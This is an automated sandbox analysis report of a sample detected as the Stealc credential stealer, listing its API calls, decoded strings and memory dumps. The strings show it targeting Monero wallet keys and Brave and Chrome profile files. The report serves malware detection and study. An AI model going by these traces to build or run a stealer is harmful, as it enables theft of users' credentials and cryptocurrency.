Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2054627045.0000000005590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00D39860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01841F48), ref: 00D398A1
GetProcAddress.KERNEL32(75900000,01841DE0), ref: 00D398BA
GetProcAddress.KERNEL32(75900000,01841DF8), ref: 00D398D2
GetProcAddress.KERNEL32(75900000,01841E40), ref: 00D398EA
GetProcAddress.KERNEL32(75900000,01841F78), ref: 00D39903
GetProcAddress.KERNEL32(75900000,0184A028), ref: 00D3991B
GetProcAddress.KERNEL32(75900000,01836300), ref: 00D39933
GetProcAddress.KERNEL32(75900000,018362A0), ref: 00D3994C
GetProcAddress.KERNEL32(75900000,01841D50), ref: 00D39964
GetProcAddress.KERNEL32(75900000,01841F90), ref: 00D3997C
GetProcAddress.KERNEL32(75900000,01841E70), ref: 00D39995
GetProcAddress.KERNEL32(75900000,01841E28), ref: 00D399AD
GetProcAddress.KERNEL32(75900000,01836380), ref: 00D399C5
GetProcAddress.KERNEL32(75900000,01841E10), ref: 00D399DE
GetProcAddress.KERNEL32(75900000,01841FF0), ref: 00D399F6
GetProcAddress.KERNEL32(75900000,01836320), ref: 00D39A0E
GetProcAddress.KERNEL32(75900000,01841D20), ref: 00D39A27
GetProcAddress.KERNEL32(75900000,01842050), ref: 00D39A3F
GetProcAddress.KERNEL32(75900000,01836660), ref: 00D39A57
GetProcAddress.KERNEL32(75900000,018420C8), ref: 00D39A70
GetProcAddress.KERNEL32(75900000,01836420), ref: 00D39A88
LoadLibraryA.KERNEL32(01842080,?,00D36A00), ref: 00D39A9A
LoadLibraryA.KERNEL32(018420E0,?,00D36A00), ref: 00D39AAB
LoadLibraryA.KERNEL32(01842020,?,00D36A00), ref: 00D39ABD
LoadLibraryA.KERNEL32(01842038,?,00D36A00), ref: 00D39ACF
LoadLibraryA.KERNEL32(01842098,?,00D36A00), ref: 00D39AE0
GetProcAddress.KERNEL32(75070000,01842068), ref: 00D39B02
GetProcAddress.KERNEL32(75FD0000,018420B0), ref: 00D39B23
GetProcAddress.KERNEL32(75FD0000,0184A928), ref: 00D39B3B
GetProcAddress.KERNEL32(75A50000,0184A8F8), ref: 00D39B5D
GetProcAddress.KERNEL32(74E50000,018364A0), ref: 00D39B7E
GetProcAddress.KERNEL32(76E80000,0184A008), ref: 00D39B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00D39BB6

Strings

NtQueryInformationProcess, xrefs: 00D39BAA

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 49dcafa801a519979fb917f658b42fbe7a7802c9fecc0e52868b4e981c8f149f
Instruction ID: 19e74252108c603e22276d4035235efdf8b9811087e6582e498f0fa0f33cbc2d
Opcode Fuzzy Hash: 49dcafa801a519979fb917f658b42fbe7a7802c9fecc0e52868b4e981c8f149f
Instruction Fuzzy Hash: DBA16DB55002489FD344EFB8EE9896637F9F78D301704461AE625E3264D7FAA841FF22

Function 00D245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00D2460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00D2479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D2474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D2471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D2466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D2473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D2477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D2462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D24713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D2475A

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: d38320824995fbff73e6d7ca761971363b403b1582a4c47479350b27cc73d8b2
Instruction ID: f5f95a962a1e66b7fa5be0cb5b50a10872febd2ab2dff08eea583f46faab7f08
Opcode Fuzzy Hash: d38320824995fbff73e6d7ca761971363b403b1582a4c47479350b27cc73d8b2
Instruction Fuzzy Hash: 244132207C3625BFC738BBB4A84EE9D77A6DF46B04F617056F80052296CBB06508ED36

Function 6C6535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

a.8/, xrefs: 6C6535AC
GenuntelineI, xrefs: 6C653639
QPC, xrefs: 6C6538FC
AuthcAMDenti, xrefs: 6C653946
GTC, xrefs: 6C653912
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$a.8/
API String ID: 301339242-1008563469
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 00D2BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

FindFirstFileA.KERNEL32(00000000,?,00D40B32,00D40B2B,00000000,?,?,?,00D413F4,00D40B2A), ref: 00D2BEF5
StrCmpCA.SHLWAPI(?,00D413F8), ref: 00D2BF4D
StrCmpCA.SHLWAPI(?,00D413FC), ref: 00D2BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D2C7BF
FindClose.KERNEL32(000000FF), ref: 00D2C7D1

Strings

\Brave\Preferences, xrefs: 00D2C1DB
Preferences, xrefs: 00D2C11E
Google Chrome, xrefs: 00D2C634
Brave, xrefs: 00D2C102

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b0a3c28985edf60b5b62b68d9a7e860602ac844a7aa0ad87742f134399f57c0c
Instruction ID: 69ca7231a39e7abb93457882949404554ebacd461ad18e640e63418c4d44fbdf
Opcode Fuzzy Hash: b0a3c28985edf60b5b62b68d9a7e860602ac844a7aa0ad87742f134399f57c0c
Instruction Fuzzy Hash: 15424172A10118ABCB14FB74DD96EED737CEF54300F404568F94AA6191EE34AB49CBB2

Function 00D34910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00D3492C
FindFirstFileA.KERNEL32(?,?), ref: 00D34943
StrCmpCA.SHLWAPI(?,00D40FDC), ref: 00D34971
StrCmpCA.SHLWAPI(?,00D40FE0), ref: 00D34987
FindNextFileA.KERNEL32(000000FF,?), ref: 00D34B7D
FindClose.KERNEL32(000000FF), ref: 00D34B92

Strings

%s\*, xrefs: 00D34920
%s\%s, xrefs: 00D349FB
%s\%s, xrefs: 00D349A4

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

